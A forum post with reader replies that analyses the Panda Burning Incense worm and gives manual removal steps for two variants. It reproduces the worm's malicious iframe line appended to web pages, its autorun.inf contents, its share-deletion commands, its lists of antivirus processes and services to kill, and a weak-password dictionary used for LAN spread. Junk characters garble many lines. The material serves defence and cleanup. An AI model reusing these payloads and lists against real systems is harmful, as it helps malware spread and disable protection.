熊猫烧香病毒专杀及手动修复方案

鱼宝宝

介绍一下熊猫烧香病毒、熊猫烧香病毒变种的查杀方法，及熊猫烧香病毒的手动清除方案。提供了病毒进程为spoclsv.exe和FuckJacks.exe变种的解决方案，和熊猫烧香病毒专杀工具。

在动手查杀熊猫烧香病毒之前，强烈建议先注意以下四点：

1.本文包含两种熊猫烧香病毒变种的描述，请注意查看病毒症状，根据实际情况选用不同的查杀方法。

2.对于被熊猫烧香病毒感染的.exe可执行文件，推荐先备份，再修复！

3.找回被熊猫烧香病毒删除的ghost(.gho)文件，详情请见文中！

4.对计算机了解不多的用户，请在专家指导下清除熊猫烧香病毒。

熊猫烧香病毒变种一：病毒进程为“spoclsv.exe”

这是“熊猫烧香”早期变种之一，特别之处是“杀死杀毒软件”，最恶劣之处在于感染全盘.exe文件和删除.gho文件（Ghost的镜像文件）。最有“灵感”的一招莫过于在所有htm/html/asp/php/jsp/aspx文件末尾添加一段代码来调用病毒。目前所有专杀工具及杀毒软件均不会修复此病毒行为。需要手动清除病毒添加的代码，且一定要清除。否则访问了有此代码的网页，又会感染。其他老一点的“熊猫烧香”spoclsv变种的病毒行为比此版本少。就不再单独列出。

病毒描述：

“武汉男生”，俗称“熊猫烧香”，这是一个感染型的蠕虫病毒，它能感染系统中exe，com，pif，src，html，asp等文件，它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件，（.gho为GHOST的备份文件），使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。

以下是熊猫烧香病毒详细行为和解决办法：

熊猫烧香病毒详细行为：

1.复制自身到系统目录下：

%System%\drivers\spoclsv.exe（“%System%”代表Windows所在目录，比如：C:\Windows）
: ^6 I: d7 F5 |9 v1 e/ O! A, Q不同的spoclsv.exe变种，此目录可不同。比如12月爆发的变种目录是：C:\WINDOWS\System32\Drivers\spoclsv.exe。
7 S) y7 ^* |1 Q- p% O, L
" @6 F  L. Q$ P- H2.创建启动项：
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
* r( T- v- L  ]) G7 ~1 i' i　　"svcshare"="%System%\drivers\spoclsv.exe"
* X, \# x6 x9 m) W# L' J
3.在各分区根目录生成病毒副本：　　X:\setup.exe
9 k5 ^- z/ L/ j　　X:\autorun.inf
autorun.inf内容：
2 v  H, G) u8 U, G2 X[AutoRun]
! [) {" }' o) N! ]# [( Q7 l　　OPEN=setup.exe
8 P4 R$ m5 I/ d1 h8 h( f2 P　　shellexecute=setup.exe
　　shell\Auto\command=setup.exe
. s$ c3 L9 l, x3 J+ H" P
( }, d: t# \; U  s4 b% A4.使用net share命令关闭管理共享：
4 j( Y" A! l9 rcmd.exe /c net share X$ /del /y
7 S% Z. C+ p& `. U7 g) x　　cmd.exe /c net share admin$ /del /y
+ P" r: A$ R8 w- Q5 _7 v
5.修改“显示所有文件和文件夹”设置：
: s0 |* T/ e# H# X* j[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
　　\Explorer\Advanced\Folder\Hidden\SHOWALL]
, V# K, m6 |' k8 ~7 J2 [8 Q　　"CheckedValue"=dword:00000000

1 m: i5 f) B5 d  Z1 ]. R! z6.熊猫烧香病毒尝试关闭安全软件相关窗口：
天网
防火墙进程
4 Y& k/ M. H7 a& b/ g% [VirusScan
NOD32
; q# ?. I$ A, X- P* `/ L# Z3 G1 T网镖杀毒毒霸瑞星江民黄山IE
超级兔子优化大师木马清道夫木馬清道夫
( n2 n- I8 n" @# \8 B; |) [3 yQQ病毒注册表编辑器系统配置实用程序卡巴斯基反病毒
Symantec AntiVirus
% ~; N" {8 z: U! X9 h, GDuba
Windows 任务管理器
esteem procs
* u) t% f/ \  M3 g; z绿鹰PC
密码防盗噬菌体木马辅助查找器
System Safety Monitor
, I2 t- {: Y  l" o3 MWrapped gift Killer
( w7 ]9 [! r! N+ I1 ~( A% |Winsock Expert
游戏木马检测大师超级巡警
msctls_statusbar32
: b' R. x1 A% ~8 n3 w( j5 Ipjf(ustc)
IceSword
- Q( q" t0 Z$ p6 n6 @2 }
5 K+ a! }! A/ w/ r7.尝试结束安全软件相关进程以及Viking病毒（威金病毒）进程：
Mcshield.exe
　　VsTskMgr.exe
- [+ y& x  u6 R5 c9 U7 }6 y　　naPrdMgr.exe
　　UpdaterUI.exe
　　TBMon.exe
　　scan32.exe
0 k) f4 y( y  N　　Ravmond.exe
6 P9 T! g" N# {# o　　CCenter.exe
　　RavTask.exe
4 [: u5 _& m9 J& Y　　Rav.exe
, T7 O9 }! Y! ~8 j　　Ravmon.exe
　　RavmonD.exe
　　RavStub.exe
　　KVXP.kxp
$ @% u' f! F0 V. _　　KvMonXP.kxp
; G6 Z5 g3 L: W- Z7 a　　KVCenter.kxp
! l, E! Q' V7 ]/ z% m( k9 p　　KVSrvXP.exe
0 \: O! B8 d- N9 d1 n2 x2 A- r　　KRegEx.exe
　　UIHost.exe
　　TrojDie.kxp
　　FrogAgent.exe
　　Logo1_.exe
' W) i% |9 B! i* j8 q　　Logo_1.exe
  w/ B% F$ u; q　　Rundl132.exe

% r+ y# L7 Q( S; l8.禁用安全软件相关服务：
& g: D4 q, L: j& l9 FSchedule
; y/ ?" _  g6 L$ y0 j　　sharedaccess
　　RsCCenter
! D4 y% s& ^3 S& Q3 k' J$ U　　RsRavMon
　　KVWSC
7 t4 @% U4 F: \# E: u/ R& l! W$ }. {　　KVSrvXP
　　kavsvc
1 V7 g, f6 N4 ^8 N4 ^$ l8 a( Y- ~　　AVP
　　McAfeeFramework
　　McShield
7 V" ]: S4 @8 u1 V9 \. I　　McTaskManager
3 t" F' `( g4 q* a7 A4 K　　navapsvc
6 u. O. Q$ E+ r. N: X  F) Q5 @' {　　wscsvc
5 m7 {! `, b# [4 f; v　　KPfwSvc
　　SNDSrvc
6 A; y4 r8 Q. \" G　　ccProxy
　　ccEvtMgr
# {2 B: R" P  B( O% B- l  i8 i; X1 f　　ccSetMgr
9 w% p3 R: B3 C4 V6 q　　SPBBCSvc
　　Symantec Core LC
# G2 s) b! [; a6 M' z　　NPFMntor
　　MskService
　　FireSvc

9.删除安全软件相关启动项：
! O! @8 y- [8 d3 r1 I. c, v! h) FSOFTWARE\Microsoft\Windows\CurrentVersion\Run\RavTask
8 S& _, B  {9 Y+ a6 ], p' G　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KvMonXP
. d/ |& t' Y3 e　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kav
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVPersonal50
3 ^8 c3 p0 W0 l" t　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\McAfeeUpdaterUI
' d- o! B# b) e- S5 _　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Network Associates Error           
Reporting Service
/ q9 m3 R- c9 k7 l2 [　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShStatEXE
0 N$ m) }" q# S7 \　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YLive.exe
- @: ~' Z; p" q- y! M　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yassistse
10.遍历目录修改htm/html/asp/php/jsp/aspx等网页文件，在这些文件尾部追加信息：
7 n3 l2 [  T9 X<iframe src="hxxp://www.ctv163.com/wuhan/down.htm" width="0" height="0" frameborder="0"> </iframe>
, F/ @: p0 ~2 B5 q% E, Q. `' [但不修改以下目录中的网页文件：
. @! R& }9 R' A3 f: l* mC:\WINDOWS
　　C:\WINNT
　　C:\system32
8 E5 t2 z5 X5 G7 i6 h0 `1 p　　C:\Documents and Settings
　　C:\System Volume Information
! o; {" |- ?4 [7 j　　C:\Recycled
5 Y$ N( j; x+ n　　Program Files\Windows NT
　　Program Files\WindowsUpdate
　　Program Files\Windows Media Player
* h, ^7 `+ x& L. q& Z/ w( h! Z　　Program Files\Outlook Express
　　Program Files\Internet Explorer
% D' O6 {% ?7 B+ J+ y' L　　Program Files\NetMeeting
　　Program Files\Common Files
　　Program Files\ComPlus Applications
& ^. u+ u# Y: ^　　Program Files\Messenger
　　Program Files\InstallShield Installation Information
　　Program Files\MSN
3 x6 C, g8 R8 e: a　　Program Files\Microsoft Frontpage
　　Program Files\Movie Maker
　　Program Files\MSN Gamin Zone
11.在访问过的目录下生成Desktop_.ini文件，内容为当前日期。
12.此外，病毒还会尝试删除GHO文件。
病毒还尝试使用弱密码将副本以GameSetup.exe的文件名复制到局域网内其它计算机中：　　password
　　harley
, r+ h$ q  x# D　　golf
) J$ I5 @3 o' O( `3 F* Y3 d6 c( O　　pussy
3 W* q5 n6 ?/ {# L1 a　　mustang
　　shadow
, L: m) r  o; C1 E( X1 G　　fish
) ?) x# h0 A; r" G9 c; W　　qwerty
　　baseball
　　letmein
( [+ R& l! t+ y3 n% _8 W8 F" L1 B+ Q　　ccc
4 b+ ?; C" ~: S! V. s3 E　　admin
: {$ h& V6 \: Y4 c6 C: R　　abc
　　pass
4 k6 a; \, V" t* J* @/ K+ x3 c" I　　passwd
　　database
8 n4 n5 B3 h1 F* f* g5 e  ?　　abcd
1 G- g6 {: \0 y' }8 \" t　　abc123
　　sybase
  H% i3 ]9 J8 @- b　　123qwe
　　server
　　computer
　　super
　　123asd
. n) U2 Z9 m0 y; z( Z! r( [# l' c  o　　ihavenopass
, r& F; m5 X; g8 ^0 P　　godblessyou
　　enable
　　alpha
　　1234qwer
/ U6 ?6 k; L# y! r- g: F　　123abc
　　aaa
: i& T* p# _/ U( K% n' v　　patrick
　　pat
　　administrator
8 K2 I: M: t# |$ O! {　　root
5 o7 M; [, @& k: h: X" w! f　　sex
, G9 o1 S" Q0 E　　god
　　fuckyou
- P& Q. I! N% h　　fuck
　　test
　　test123
　　temp
　　temp123
! m6 m5 e2 ?- z3 `  i6 j: E　　win
　　asdf
- X$ T$ I- k& _　　pwd
% h' x+ @1 L1 u6 i6 F　　qwer
* x" }9 k* ?, \: c8 ?　　yxcv
　　zxcv
　　home
+ F$ i$ R% Z$ a8 y1 A　　xxx
; B9 B, A# `- V% U/ j6 {0 F7 }' h　　owner
　　login
2 K) a8 R$ N1 G3 V( S: k　　Login
, G# V5 S, b' p% y　　love
　　mypc
　　mypc123
　　admin123
　　mypass
　　mypass123
* Z$ [% g( D3 I0 M/ G: `　　Administrator
. r' F2 h3 v. U, b  X　　Guest
4 d1 G  X; X# I% K　　admin
) h, I4 M. i/ Q　　Root
0 W/ @# A( _) D- I2 J
. A; b; f6 h7 E病毒文件内含有这些信息：
7 w9 [$ m8 s$ D6 {  p- N
whboy
　　***武*汉*男*生*感*染*下*载*者***
解决方案：
1 A6 n, `0 N& \, r# F, ^
; _/ y& J2 c# t0 S: z  }& O1. 结束病毒进程：
%System%\drivers\spoclsv.exe
0 @0 H  C; \: J$ i" U* j# R$ x9 O0 n不同的spoclsv.exe变种，此目录可不同。比如12月爆发的变种目录是：C:\WINDOWS\System32\Drivers\spoclsv.exe。但可用此方法清除。
5 a% {( s( D" |: I7 F* X“%System%\system32\spoclsv.exe”是系统文件。（目前看来没有出现插入该系统进程的变种，不排除变种的手法变化。）
1 S5 k1 z) g( K# H! x; F查看当前运行spoclsv.exe的路径，可使用超级兔子魔法设置。
7 o- }1 q  o6 G( I
& n% A- s" T% K6 A% N2. 删除病毒文件：
%System%\drivers\spoclsv.exe
请注意区分病毒和系统文件。详见步骤1。

1 S: I2 ?5 `& t+ m% W2 d, L) h3. 删除病毒启动项：
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
　　"svcshare"="%System%\drivers\spoclsv.exe"

4. 通过分区盘符右键菜单中的“打开”进入分区根目录，删除根目录下的病毒文件：
0 c3 k2 C" y$ `2 a% B/ CX:\setup.exe
' h' v! e7 M" [9 q5 R% g# g7 B3 t　　X:\autorun.inf
2 b' R) u. X/ K# ~, Q7 P$ F8 t
) s8 d8 u5 k) p, Y8 p0 t4 A5. 恢复被修改的“显示所有文件和文件夹”设置：
9 F3 r- q5 I1 a[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
$ T% z. s$ R3 A% O　　\Explorer\Advanced\Folder\Hidden\SHOWALL]
; h3 Z8 H1 o6 F8 R1 S　　"CheckedValue"=dword:00000001
) Y' f7 w; L: b- _3 k! y/ x1 s7 Z
+ b4 C3 p( Y% G1 F7 _; z6 e6. 修复或重新安装被破坏的安全软件。

7.修复被感染的程序。可用专杀工具进行修复，收集了四个供读者使用。
0 s' [; o1 g, F$ j1 x2 ?" P+ L金山熊猫烧香病毒专杀工具
http://down.www.kingsoft.com/db/download/othertools/DuBaTool_WhBoy.BAT
; S- u6 `- N% x安天熊猫烧香病毒专杀工具
http://www.antiy.com/download/KillPP.scr
- P5 s6 D( @0 v% @江民熊猫烧香病毒专杀工具
" P2 T- P$ O/ b7 H2 F! O) w  Rhttp://ec.jiangmin.com/test/PandaKiller.rar
8 ~/ L; R: Q$ P4 j瑞星熊猫烧香病毒专杀工具
& d8 V+ E( t! O( K2 phttp://download.rising.com.cn/zsgj/NimayaKiller.scr
& H2 _( ~( ?! l! p4 q' h。也可用手动方法（见本文末）。
: C3 N& L& J- V0 Y& p
8. 恢复被修改的网页文件，可以使用某些编辑网页的工具替换被添加文字为空。机器上有htm/html/asp/php/jsp/aspx等网页文件，一定要删除此段代码。有危险代码的网页一但发布到网页可能会感染其他用户。

3 d6 }$ d* h/ m熊猫烧香病毒变种二：病毒进程为“FuckJacks.exe”
2 ?+ y9 I0 u. Z2 [
& o" K) j& O) u6 P* B以下是数据安全实验室提供的信息与方法。
5 F# T! q& F! {6 n0 q* r( U病毒描述：
1 h: ?( U/ ~! i含有病毒体的文件被运行后，病毒将自身拷贝至系统目录，同时修改注册表将自身设置为开机启动项，并遍历各个驱动器，将自身写入磁盘根目录下，增加一个Autorun.inf文件，使得用户打开该盘时激活病毒体。随后病毒体开一个线程进行本地文件感染，同时开另外一个线程连接某网站下载ddos程序进行发动恶意攻击。
5 P# u4 i* F9 f& r. o
病毒基本情况：

3 ?8 `9 l! y( q( C[文件信息]
# l" S7 |+ B- W, p: R* e
病毒名: Virus.Win32.EvilPanda.a.ex$
6 R+ \  I8 C3 u: ^　　大小: 0xDA00 (55808), (disk) 0xDA00 (55808)
　　SHA1  : F0C3DA82E1620701AD2F0C8B531EEBEA0E8AF69D
4 f3 }2 y% A) G1 X" h　　壳信息: 未知　　危害级别：高

病毒名: Flooder.Win32.FloodBots.a.ex$
　　大  小: 0xE800 (59392), (disk) 0xE800 (59392)
　　SHA1  : B71A7EF22A36DBE27E3830888DAFC3B2A7D5DA0D
　　壳信息: UPX 0.89.6 - 1.02 / 1.05 - 1.24
  s' P; q/ B* B9 E$ y, N  F1 m　　危害级别：高

病毒行为：

: H  w/ G9 `4 r& P2 a' SVirus.Win32.EvilPanda.a.ex$ ：
" s9 P$ K' c* V# G: c4 R% U4 _% d- l3 c# X
8 @$ J# i3 C  X  X9 @1 h, Y3 w1 ^1、病毒体执行后，将自身拷贝到系统目录：
' h+ t: [+ C8 w" \" @%SystemRoot%\system32\FuckJacks.exe


　　2、添加注册表启动项目确保自身在系统重启动后被加载：
1 v* e% ?7 \% |% [7 w0 t键路径：HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
# g- g6 Q+ J/ @7 N. |% c　　键名：FuckJacks
) _/ L. i3 `) J/ H+ M　　键值："C:WINDOWS\system32\FuckJacks.exe"

键路径：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
4 v" F4 a4 c; K! X/ E. Y; @- C( d　　键名：svohost
9 c) _- t& C" D; x　　键值："C:WINDOWS\system32\FuckJacks.exe"
* @1 J. X/ ?% t8 k
3 h* s. q# j% z  [0 `3、拷贝自身到所有驱动器根目录，命名为Setup.exe，并生成一个autorun.inf使得用户打开该盘运行病毒，并将这两个文件属性设置为隐藏、只读、系统。
C:autorun.inf    1KB    RHS
　　C:setup.exe    230KB    RHS

; L1 n* C3 m, e  ]3 w% [4、关闭众多杀毒软件和安全工具。
, T  x) M; s: f% ^/ o( f
5、连接*****.3322.org下载某文件，并根据该文件记录的地址，去www.****.com下载某ddos程序，下载成功后执行该程序。

6、刷新bbs.qq.com，某QQ秀链接。
% }; }$ g6 S; ?: u( x
7、循环遍历磁盘目录，感染文件，对关键系统文件跳过，不感染Windows媒体播放器、MSN、IE 等程序。
. V6 m! @2 M8 u' U& U+ N5 C" O
# l9 ~+ ]) g1 ~: _" |9 T' @Flooder.Win32.FloodBots.a.ex$ ：

1 d: N! a, _: t2 f! D$ }* y/ G1、病毒体执行后，将自身拷贝到系统目录：
%SystemRoot%\SVCH0ST.EXE（注意文件名中的“0”是数字“零”，不是字母“o”）　　%SystemRoot%\system32\SVCH0ST.EXE（注意文件名中的“0”是数字“零”，不是字母“o”）

+ \( j+ n; G# Z0 B( K0 ?/ ]2、该病毒后下载运行后，添加注册表启动项目确保自身在系统重启动后被加载：
# {% }0 t8 [) p/ A$ M( R: t% k键路径：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
$ N  @" N% t% U( f　　键名：Userinit
　　键值："C:WINDOWS\system32\SVCH0ST.exe"

. ~% v  s9 {5 ^$ v) Z9 I. w1 I3、连接ddos2.****.com，获取攻击地址列表和攻击配置，并根据配置文件，进行相应的攻击。
" o5 |& D  g6 V; |2 o配置文件如下：
9 o& A* l$ o$ j  {2 \www。victim.net:3389
　　www。victim.net:80
　　www。victim.com:80
; c& W# y' T' ?2 J% o( C5 o! n' d　　www。victim.net:80
　　1
+ w1 l# Q& [8 ^4 i% S  V, B　　1
　　120
( V8 O5 O6 L1 B4 o+ u　　50000

解决方案：

! d: N' [" n% Z! m) {% M9 }1. 断开网络

2. 结束病毒进程：%System%\FuckJacks.exe
6 @+ \  w. z  U0 p  W2 m" R
3. 删除病毒文件：%System%\FuckJacks.exe
6 k  h) R: V0 j3 G
0 I) K; r& }( z4. 右键点击分区盘符，点击右键菜单中的“打开”进入分区根目录，删除根目录下的文件：X:\autorun.inf
　　X:\setup.exe

5. 删除病毒创建的启动项：
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
/ V* _# i1 ~$ G- P　　"FuckJacks"="%System%\FuckJacks.exe"
. ^& n& F" L# E3 V& s[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
7 L# e. q# f; z. V　　"svohost"="%System%\FuckJacks.exe"
- F- \" N. N! @/ }
& h* V. ~4 [" G, O, ~) G( u! v6. 修复或重新安装反病毒软件
( f+ Z8 l" v( E$ q
9 i& j; i5 }( s6 l4 z7 |# a( U7. 使用反病毒软件或专杀工具进行全盘扫描，清除恢复被感染的exe文件。也可用以下的手动方法恢复文件。

  `$ W4 O; V* H( \  q5 `6 g手动恢复中毒文件（在虚拟机上通过测试，供参考）
% v9 K/ A; D5 s7 Y6 }) }+ c: U
+ b% n0 J$ N  C1 {- h+ ?  j8 y" y1.在清除病毒文件的同时不删除%SYSTEM%下面释放FuckJacks.exe的这个文件，即执行之前的步骤1、2、4、5。
. t0 ~1 }, I1 t* a) y# J* q
* {* t$ D* ~9 v5 g7 W; Y2.打开“运行”输入“gpedit.msc”打开组策略－本地计算机策略－windows设置－安全设置－软件限制策略－其它规则。在其它规则上右键选择－新散列规则－打开新散列规则窗口
! u  Y" e/ Z) C0 t# h' d
9 g7 A; s) {6 t7 T3.在文件散列上点击浏览找到%SYSTEM%下面释放FuckJacks.exe文件。安全级别选择－不允许的。确定后重启。

) z/ w" q  e/ n! c: e! t& Q# ~3 Q4.重启后可以双击运行已经被熊猫感染的程序。运行程序后该FuckJacks.exe文件会在注册表里的Run键下建立启动项（不会有问题的）。

5.双击运行被感染的程序已经恢复原来样子了。全部回复后，用SREng把FuckJacks.exe在注册表里的启动项删除即可！

幻镜

其实还有一个很简单的方法可以将伤害降到最小。

. x  L! v/ m+ z9 D9 i8 V2 c就是将那个GHOST备份文件不要设置为后缀GHO

, l! V" [0 i" Y! ~' L你换一个后缀不就没事了吗？
恢复时后缀只是起显示作用
. x# _- V! u5 Y) W9 h/ H只要你选准正确文件就照样恢复

rulingdanny

很讨厌的病毒 最近中找了 真是对卡巴斯基越来越没有信息了 防御能力＝0

Sonic鼠

妈的我也中招了！！！
存的片子和游戏全没了！！气死我了！！！
这病毒出现后没想到是金山反应最快~
瑞星都没招真没用~~~哎…………火大啊……

bmx极限运动

谢谢楼主的分享！！

kk11qq

谢谢楼主的分享！！

kk11qq

谢谢楼主的分享！！